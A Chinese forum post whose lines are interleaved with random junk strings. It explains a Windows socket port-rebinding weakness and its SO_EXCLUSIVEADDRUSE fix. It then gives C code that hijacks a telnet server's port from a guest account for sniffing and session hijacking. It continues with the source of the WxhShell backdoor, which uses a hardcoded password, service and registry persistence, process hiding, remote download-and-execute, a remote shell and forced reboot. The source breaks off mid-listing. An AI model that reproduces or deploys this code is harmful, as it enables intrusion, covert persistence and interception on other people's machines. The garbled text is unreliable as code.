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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o3=2`BvJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); luPj'd?  
57nSyd] PR  
  saddr.sin_family = AF_INET; 5;:P^[cH9  
I=vGS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o8Q+hZB}A  
Zndv!z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g`NJ `  
i.~*G8!DM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !:zWhu,  
2|n)ZP2cp  
  这意味着什么?意味着可以进行如下的攻击: p`oSI}ZwB  
r]6X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;";#{B:  
^nPk;%`0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dq.'[  
#KFpT__F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5:" zs  
mmf}6ABYT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XkGS3EY  
ZSs)AB_Pe/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /8$*{ay  
?WD JWp%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =r?#,'a  
W.|r=   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D(z}c,  
7ThGF  
  #include L5wrc4  
  #include szZ8-Y  
  #include Ei$@)qS/  
  #include    7BNu.5*y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   MPS{MGVjbJ  
  int main() 3 $~6+i  
  { C VyYV &U,  
  WORD wVersionRequested; C;DR@'+q  
  DWORD ret; s]lIDp}  
  WSADATA wsaData; 3M@!?=| U  
  BOOL val; AbXaxt/[g?  
  SOCKADDR_IN saddr; Hea76P5$P+  
  SOCKADDR_IN scaddr; ug?])nO.C  
  int err; z[E gMS!  
  SOCKET s; ,sk0){rW  
  SOCKET sc; mW+QJ`3  
  int caddsize; W)OoHpdw  
  HANDLE mt; dI$U{;t  
  DWORD tid;   ko Tb{UL  
  wVersionRequested = MAKEWORD( 2, 2 );  ~[wh  
  err = WSAStartup( wVersionRequested, &wsaData ); JGZxNUr^  
  if ( err != 0 ) { +DpiX&^h   
  printf("error!WSAStartup failed!\n"); 6`V2-zv$  
  return -1; `8D)j>Yh~  
  } ^ y1P~4w?  
  saddr.sin_family = AF_INET; +CQ$-3  
   7?[{/`k~?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o 5;V=8T;  
[0lu&ak[&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @/DHfs4O  
  saddr.sin_port = htons(23); @a[Y[F S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .5ItH^  
  { s{30#^1R  
  printf("error!socket failed!\n"); S1`;2mAf*  
  return -1; 2)W~7GED  
  } *!W<yNrR  
  val = TRUE; Gs0x;91  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'IykIf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q| EE em  
  { '9w.~@7  
  printf("error!setsockopt failed!\n"); kr=&x)Wy!  
  return -1; 4!3mSWNV  
  } rNl` w.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l+V#`S*q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P p]Ygt'u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;DG&HO   
4/Wqeq,E8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W/?\8AE  
  { %K$f2):  
  ret=GetLastError(); kZfUwF:yN  
  printf("error!bind failed!\n"); bVbh| AA  
  return -1; uy t'  
  } /1!Wet}f  
  listen(s,2); d9E'4Zm  
  while(1) "=/YPw^0  
  { x9lG$0k:V  
  caddsize = sizeof(scaddr); n}T;q1  
  //接受连接请求 o`EL)K{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <-3_tu>l  
  if(sc!=INVALID_SOCKET) Z~WUILx,  
  { > ]()#z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EAE\'9T&g  
  if(mt==NULL) REaU=-m-  
  { ~\ C.Nm  
  printf("Thread Creat Failed!\n"); Js'#=  
  break; g6wL\g{29  
  } 4|EV`t}EV  
  } e ; #"t  
  CloseHandle(mt); tu%!j}3s  
  } $ M8ZF(W  
  closesocket(s); 8rXQK|A  
  WSACleanup(); @h91: hb  
  return 0; 4XCy>;4u  
  }   F^xhhz&e  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;<?mMi@<E  
  { )j^~=Sio.  
  SOCKET ss = (SOCKET)lpParam; ~$@~X*K~  
  SOCKET sc; <)J83D0$E  
  unsigned char buf[4096]; b-Q%c xJ  
  SOCKADDR_IN saddr; 3EHn}#+U  
  long num; c8"9Lv  
  DWORD val; 7: cmBkXm  
  DWORD ret; th 9I]g^=t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g`69 0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y#A0ud,  
  saddr.sin_family = AF_INET; P*\h)F/3}t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H`XE5Hk)P%  
  saddr.sin_port = htons(23); ^kElb;d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @ 7WWoy  
  { \]a@ NBv  
  printf("error!socket failed!\n"); bV~z}V&  
  return -1; MeSF,*lP  
  } %xH2jf  
  val = 100; =HGC<#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) js~?y|e8k  
  { ;YYo^9Lh}  
  ret = GetLastError(); )uJu.foE  
  return -1; O`pqS\H  
  } ,$xV&w8f\"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )T_o!/\*|*  
  { oOj7y>Nm  
  ret = GetLastError(); [;E~A  
  return -1; 82z\^a  
  } &/}reE*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p}r1@L s  
  { +wwb+aG6{  
  printf("error!socket connect failed!\n"); j-% vLL/  
  closesocket(sc); [J`%i U  
  closesocket(ss); ^/H9`z;  
  return -1; :MIJfr>z  
  } ?)# qBE ]  
  while(1) (H/2{##  
  { Z/p>>SCak  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AxbQN.E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C(Bh<c0@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7 B<  
  num = recv(ss,buf,4096,0); :7&-<ae2  
  if(num>0) f7mN,_Lt  
  send(sc,buf,num,0); -F+ )N$CW  
  else if(num==0) &:3uK`  
  break; LMF@-j%  
  num = recv(sc,buf,4096,0); )rqb<O  
  if(num>0) bu j}pEI  
  send(ss,buf,num,0); $0f(Gc|  
  else if(num==0) M`~UH\  
  break; g<@P_^vo  
  } ^5:xSQ@:  
  closesocket(ss); [lmghI!  
  closesocket(sc); WlJ $p$I`  
  return 0 ; zFn!>Tqe  
  } PGE|){ <  
#2XX[d%  
_~=qByD   
========================================================== !(-lY(x  
gYtv`O  
下边附上一个代码,,WXhSHELL *j9hjq0j  
Hw(_l,Xf  
========================================================== H2plT  
d;<gwCc  
#include "stdafx.h" gE_i#=bw  
m#^ua^JV  
#include <stdio.h> f<$>?o&y  
#include <string.h> 5vfzSJ  
#include <windows.h> !sJ*0  
#include <winsock2.h> ) Ekd  
#include <winsvc.h> !P_8D*^9  
#include <urlmon.h> h.~:UR*   
sghQ!ux  
#pragma comment (lib, "Ws2_32.lib") 3\!DsPgW  
#pragma comment (lib, "urlmon.lib") \E!a=cL!  
#jc+2F,+{  
#define MAX_USER   100 // 最大客户端连接数 qt.G_fOz  
#define BUF_SOCK   200 // sock buffer NQFMExg,  
#define KEY_BUFF   255 // 输入 buffer n.323tNY  
" 0:&x n8L  
#define REBOOT     0   // 重启 ;aY.CgX  
#define SHUTDOWN   1   // 关机 d"P\ =`+  
N>+s8L.?  
#define DEF_PORT   5000 // 监听端口 G[pDKELL  
d,c8ks(  
#define REG_LEN     16   // 注册表键长度 U)PNY  
#define SVC_LEN     80   // NT服务名长度 aLWNqe&1  
swfcA\7R  
// 从dll定义API 3Y L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hju7gP=y}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lU}y%J@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QO-R>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >R9_ ;  
Zs(I]^w;d  
// wxhshell配置信息 6r x%>\UkS  
struct WSCFG { `2B,+ytW8  
  int ws_port;         // 监听端口 QXQ'QEG  
  char ws_passstr[REG_LEN]; // 口令 e1EFZ,EcaO  
  int ws_autoins;       // 安装标记, 1=yes 0=no kPt] [1jo  
  char ws_regname[REG_LEN]; // 注册表键名 y,i ~w |4  
  char ws_svcname[REG_LEN]; // 服务名 5 aT>8@$Z^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o `]o(OP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZSBa+3;z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,D6hJ_:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ez= Q{g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e13{G @  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zgw;AY.R>  
7eM:YqT/#  
}; sy ]k  
u(Y! _  
// default Wxhshell configuration 0L ^WTq  
struct WSCFG wscfg={DEF_PORT, -$@$  
    "xuhuanlingzhe", +5zLQ>]z  
    1, &sbKN[xM  
    "Wxhshell", (eG9b pqr  
    "Wxhshell", t7t?xk!2  
            "WxhShell Service", ~)Z MGx  
    "Wrsky Windows CmdShell Service", e]1&f.K  
    "Please Input Your Password: ", z<T(afM{*  
  1, <;O -N=  
  "http://www.wrsky.com/wxhshell.exe", 9i&(VzY[=  
  "Wxhshell.exe" HB>&}z0  
    }; ir72fSe  
yR`X3.:*]  
// 消息定义模块 9L`5r$/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  c"pI+Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z vM=k-Ec  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 015 ;'V#we  
char *msg_ws_ext="\n\rExit."; dTE(+M- Gr  
char *msg_ws_end="\n\rQuit."; \o&\r)FX  
char *msg_ws_boot="\n\rReboot..."; ,C=Lu9  
char *msg_ws_poff="\n\rShutdown..."; sULCYiT|Hn  
char *msg_ws_down="\n\rSave to "; g}cb>'=={  
Y]u6f c  
char *msg_ws_err="\n\rErr!"; TL29{'4V  
char *msg_ws_ok="\n\rOK!"; +*O$]Hh  
8RA]h?$$J  
char ExeFile[MAX_PATH]; H}Jdnu|ko  
int nUser = 0; &gP/<!#  
HANDLE handles[MAX_USER]; *an^ 0  
int OsIsNt; L,(H(GeX  
< wI z8V  
SERVICE_STATUS       serviceStatus; x)wlp{rLf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5-=&4R\k  
(}1:]D{)@V  
// 函数声明 ut<0-  
int Install(void); i gyTvt!  
int Uninstall(void); r I-A)b4  
int DownloadFile(char *sURL, SOCKET wsh); \$g,Hgp/<  
int Boot(int flag); [SJ)4e|)  
void HideProc(void); i;CVgdQ8  
int GetOsVer(void); fP:n=A{  
int Wxhshell(SOCKET wsl); G$eA(GE   
void TalkWithClient(void *cs); 6> fQe8Y  
int CmdShell(SOCKET sock); q_hkI]  
int StartFromService(void);  d*Wg>8|  
int StartWxhshell(LPSTR lpCmdLine); EAdr}io  
@hb K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DX*eN"z[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rz@FUU:&  
$jc&Tk#  
// 数据结构和表定义 rt _k }  
SERVICE_TABLE_ENTRY DispatchTable[] = A;06Zrf1  
{ 2 SJ N;A~}  
{wscfg.ws_svcname, NTServiceMain}, c,v?2*<  
{NULL, NULL} !xIK<H{*  
}; J&B>"s,  
;Nd,K C0k  
// 自我安装 r?:zKj8/u  
int Install(void) nn1T5;  
{ bm</qF'T6  
  char svExeFile[MAX_PATH]; z-J?x-<  
  HKEY key; #835 $vOe  
  strcpy(svExeFile,ExeFile); 3 7F&s  
%u)niY-g  
// 如果是win9x系统,修改注册表设为自启动 wWaJ%z>3y  
if(!OsIsNt) { K [.*8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o>#ue<Bc6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "B$r{ vG  
  RegCloseKey(key); =vpXYj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d'x'hp%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wa)E.(x  
  RegCloseKey(key); [!<W{ ($5  
  return 0; M9t`w-@_w  
    } ::lD7@Wg  
  } RRasX;zK  
} mPmg6Qj(W  
else { $GMva}@G`  
;RElG>#$  
// 如果是NT以上系统,安装为系统服务 Wv4x^nJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]ZbZ]  
if (schSCManager!=0) f3p)Q<H>`(  
{ mBQp#-1\  
  SC_HANDLE schService = CreateService "u H VX|`  
  ( :/.SrkN(A7  
  schSCManager, .?Pghqq.  
  wscfg.ws_svcname, e2}5< 7  
  wscfg.ws_svcdisp, 4GL-3e  
  SERVICE_ALL_ACCESS, FxkxV GZ"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6>hW.aq}  
  SERVICE_AUTO_START, HRG2sv T4t  
  SERVICE_ERROR_NORMAL, U#X6KRZ~g  
  svExeFile, G2,9$8qE  
  NULL, HQ7  
  NULL, wH<'*>/  
  NULL, 8iIz!l%O  
  NULL, k>'c4ay290  
  NULL 4D4Y.g_x  
  ); G]$.bq[v  
  if (schService!=0) 2JMMNpya  
  { /_?y]Ly[r  
  CloseServiceHandle(schService); 1p|h\H  
  CloseServiceHandle(schSCManager); HgY>M`U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /Tc I  
  strcat(svExeFile,wscfg.ws_svcname); |E(`9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZDhl$m [m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JDI1l_Ga  
  RegCloseKey(key); ;;Y>7Kn!u  
  return 0; 5LF#w_x  
    } [%1 87dz:D  
  } 0C,2gcq  
  CloseServiceHandle(schSCManager); M?nYplC  
} JtB]EvpL}  
} NCKhrDd&  
T+q3]&  
return 1; @j{n V@|  
} i:@n6GW+iw  
"h84D&V  
// 自我卸载 G(*7hs  
int Uninstall(void) S+LS!b  
{ HXg#iP^tv  
  HKEY key; VOa7qnh4:[  
9?6]Z ag  
if(!OsIsNt) { (9A`[TRwi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jW!x!8=  
  RegDeleteValue(key,wscfg.ws_regname); 5RUhrE   
  RegCloseKey(key); 5TB==Fj ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;LhNz()b  
  RegDeleteValue(key,wscfg.ws_regname); Vlka+$4!  
  RegCloseKey(key); 4kr! Af  
  return 0; *.2[bQL@v  
  } rmq^P;At  
} op|:XLR5  
} 03$lgDQ  
else { `Cv@16  
"(QI7:iM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p?#%G`dm  
if (schSCManager!=0)  z^YL$  
{ ,xzSFs>2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @Q%g#N  
  if (schService!=0) s7(I  
  { ,RYahu  
  if(DeleteService(schService)!=0) { Li{R?Osx  
  CloseServiceHandle(schService); 8K;wX%_,  
  CloseServiceHandle(schSCManager); h88 IP:bo  
  return 0; Y;B#_}yF  
  } f'-) 3T  
  CloseServiceHandle(schService); @&4s)&-F  
  } }vof| (Yh  
  CloseServiceHandle(schSCManager); "x"y3v'  
} h{BO\^6x  
} _XP3|E;I/  
mKh <M)Bz  
return 1; F VVpyB|  
} LL}b]B[  
M,WC+")Z=  
// 从指定url下载文件 {-'S#04  
int DownloadFile(char *sURL, SOCKET wsh) 4pw:O^v  
{ &58TX[#  
  HRESULT hr; )`V__^  
char seps[]= "/"; t%'0uB#v1  
char *token; }2;{ }J  
char *file; D_(K{? KU  
char myURL[MAX_PATH]; AY~~a)V  
char myFILE[MAX_PATH]; NW*qw q  
 (r!d4  
strcpy(myURL,sURL); NU#rv%p  
  token=strtok(myURL,seps); ;<~lzfs  
  while(token!=NULL) B;6N.X(K  
  { @?gN &Z)I  
    file=token; iJsa;|2/  
  token=strtok(NULL,seps); ^;xO-;q  
  } (4 6S^*  
|-'.\)7:  
GetCurrentDirectory(MAX_PATH,myFILE); h5>38Kd  
strcat(myFILE, "\\"); {z j<nu  
strcat(myFILE, file); /EXub U73  
  send(wsh,myFILE,strlen(myFILE),0); L3 VyW8Y  
send(wsh,"...",3,0); l*0`{R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A>OGU ^  
  if(hr==S_OK) :87HXz6]jS  
return 0; ?->&)oAh  
else Pp9nilb_(  
return 1; }ippi6b:r  
DX$zzf  
} ~H+W[r}  
rdY/QvP0=  
// 系统电源模块 G._E9  
int Boot(int flag) d mj T$a|  
{ ?4 &C)[^  
  HANDLE hToken; e52y}'L  
  TOKEN_PRIVILEGES tkp; *?Pbk+}%  
faJ>,^V#  
  if(OsIsNt) { /t<C_lLM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /j`v N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V.8pxD5 s  
    tkp.PrivilegeCount = 1; @N'0:0Nb_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CaV>\E)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _H (:$=$Q  
if(flag==REBOOT) { 5{@Hpj/B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gf|qc>j.b  
  return 0; e[ 8AdE  
} nYv`{0S+m  
else { ~_YU%y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q:+cLl&;hB  
  return 0; ONkHHyT  
} =rrbS8To=  
  } 9j6  
  else { @}^eyS$|!  
if(flag==REBOOT) { \EC=#E(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9u->.O: p  
  return 0; ^z^ UFW  
} M-B-  
else { L< gp "e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ezOZHY>|#  
  return 0; ^6Std x_  
} &>Ko}?w  
} MDo4{7  
V=C@ocy Z  
return 1; SuHv{u45  
} ;AwQpq>dy  
``:AF:  
// win9x进程隐藏模块 2[*r9%W  
void HideProc(void) ;8G( l   
{ MZ8jL,a^  
<Rl:=(]i~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l u^fKQ  
  if ( hKernel != NULL ) ZL-YoMHc+_  
  { Y\qiYra  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MWHGB")J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !"dbK'jb^  
    FreeLibrary(hKernel); a s{^~8B  
  } JVORz-uBs  
`xhiG9mz~  
return; _V9 O,"DDc  
} WG{mg/\2(C  
f4s^$Q{Q  
// 获取操作系统版本 fCMH<}w  
int GetOsVer(void) \xH#X=J  
{ +n ${6/  
  OSVERSIONINFO winfo; myVV5#{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); btfjmR<Tp  
  GetVersionEx(&winfo); Kzs]+Cl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `J>76WN  
  return 1; "rjqDpH  
  else :\*<EIk(  
  return 0; PC_#kz  
} OZF^w[ `w  
5ml^3,x  
// 客户端句柄模块 QL>G-Rp  
int Wxhshell(SOCKET wsl) T41&;?-  
{ ]to"X7/  
  SOCKET wsh; ::y+|V/  
  struct sockaddr_in client; ]y'/7U+  
  DWORD myID; FT1h\K|a  
b[^=GF>e  
  while(nUser<MAX_USER) 8QeM6;^/5  
{ gzK"'4`  
  int nSize=sizeof(client); *nB fF{y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m[7i<'+S  
  if(wsh==INVALID_SOCKET) return 1; IeqJ>t:   
XIu3n9g^#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TU&t 1_6  
if(handles[nUser]==0) %"Y7 b2pPa  
  closesocket(wsh); jhWNMu  
else FQR{w  
  nUser++; >-Qg4%m  
  } o |7]8K=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rAdYBr=0  
B/i`  
  return 0; \8uPHf_  
} 6?/$K{AI  
<By R!Y  
// 关闭 socket 8t$a8 PE  
void CloseIt(SOCKET wsh) t5z6{`  
{ `  L(AvSR  
closesocket(wsh); qAsZ,ik  
nUser--; s D] W/  
ExitThread(0); uf* sI  
} rO% |PRP  
D<[4}og&]  
// 客户端请求句柄 P-L<D!25  
void TalkWithClient(void *cs) IKM=Q. 7j  
{ :\Z;FA@g(g  
 4q)eNcs  
  SOCKET wsh=(SOCKET)cs; q P@4KH} e  
  char pwd[SVC_LEN]; +]Oq{v:e  
  char cmd[KEY_BUFF]; hq.z:D  
char chr[1]; x.r~e)x=  
int i,j; [8/E ;h  
^f{+p*i}:  
  while (nUser < MAX_USER) { o/9(+AA>  
$4`RJ{ZJw]  
if(wscfg.ws_passstr) { )< ~1AL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cw]Q)rX{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y&\ J  
  //ZeroMemory(pwd,KEY_BUFF); xW{_c[oA  
      i=0;  tFvti5  
  while(i<SVC_LEN) { w .l2  
-^8gZk/(W  
  // 设置超时  OvU]|4h  
  fd_set FdRead; @B$ Y`eK\  
  struct timeval TimeOut; $=n|MbFl  
  FD_ZERO(&FdRead); \LRno3  
  FD_SET(wsh,&FdRead); 5tR<aIf  
  TimeOut.tv_sec=8; %FGPsHH  
  TimeOut.tv_usec=0; MP?9k)f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); in-/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5aw#!K=J'  
02&mM% #  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zb`}/%\7  
  pwd=chr[0]; RX:\@c&  
  if(chr[0]==0xd || chr[0]==0xa) { r4jW=?|  
  pwd=0; ?3Wh. %n  
  break; %MgQ.  
  } {<&I4V@+  
  i++; }4Lv-9s,  
    } $k*E^~qT  
!l@IG C  
  // 如果是非法用户,关闭 socket YY]JjMkU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]*U\ gm%  
} DM{ 7x77  
AV AF!Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q~.\NKc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R>[2}R30  
#b []-L!  
while(1) { ? )-*&1cv  
eh nN  
  ZeroMemory(cmd,KEY_BUFF); (7`&5m d  
4p&qH igG  
      // 自动支持客户端 telnet标准   }u5;YNmXxF  
  j=0; 0)-l9V  
  while(j<KEY_BUFF) { $I~=t{;"XV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~R7rIP8Wr  
  cmd[j]=chr[0]; <WtX> \]l(  
  if(chr[0]==0xa || chr[0]==0xd) { S #%'Vrp  
  cmd[j]=0; 8$-Wz:X&  
  break; &CF74AN#  
  } F4>}mIA  
  j++; m!a<\0^  
    } W}+Q!T=  
4vPQuk!  
  // 下载文件 beEdH>  
  if(strstr(cmd,"http://")) { ()v[@"J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gCz^JM  
  if(DownloadFile(cmd,wsh)) I<z /Y?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -#j-Zo+<  
  else 7EOn4I2@[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ["Ep.7=SU  
  } :)t1>y>3  
  else { ?Q wDV`  
K=M5d^K<E  
    switch(cmd[0]) { 5G'X\iR  
  *bDuRr?v9  
  // 帮助 =B4mi.;@i  
  case '?': { "]JE]n}Ulg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f8L  
    break; QL"fC;xUn,  
  } !FZb3U@  
  // 安装 \;I%>yOIu  
  case 'i': { f I`6]?W  
    if(Install()) v0jRoE#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }I}RqD:`  
    else ? Sj,HLo@U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D&0*+6j((  
    break; acdaDY  
    } WM*[+8h  
  // 卸载 X2(TuR*t  
  case 'r': { tk|Ew!M:  
    if(Uninstall()) 0qnToV;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hvQOwA;e  
    else \,!FL))yC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 29z+<?K{  
    break; y+_G L=J  
    } K;,n?Q w  
  // 显示 wxhshell 所在路径 h<4WY#Y  
  case 'p': { SWY?0Pu  
    char svExeFile[MAX_PATH]; QB'-`GwL  
    strcpy(svExeFile,"\n\r"); :-xp'_\L  
      strcat(svExeFile,ExeFile); hdQ[=PH)  
        send(wsh,svExeFile,strlen(svExeFile),0); 5.0BaVwi  
    break; =PP]LDlJs  
    } 0yfmQ=,X  
  // 重启 &7,Kv0j}  
  case 'b': { CSRcTxH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,jQkR^]j-  
    if(Boot(REBOOT)) -1Yt3M&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E[/<AY^@!z  
    else { [~` ; .7~  
    closesocket(wsh); `][~0\Y3m  
    ExitThread(0); 6vQAeuz<Fq  
    } KVvIo1$N  
    break;  MScjq  
    } iS&fp[Th  
  // 关机 8&qCH>Cf  
  case 'd': { t(?m!Z?tb  
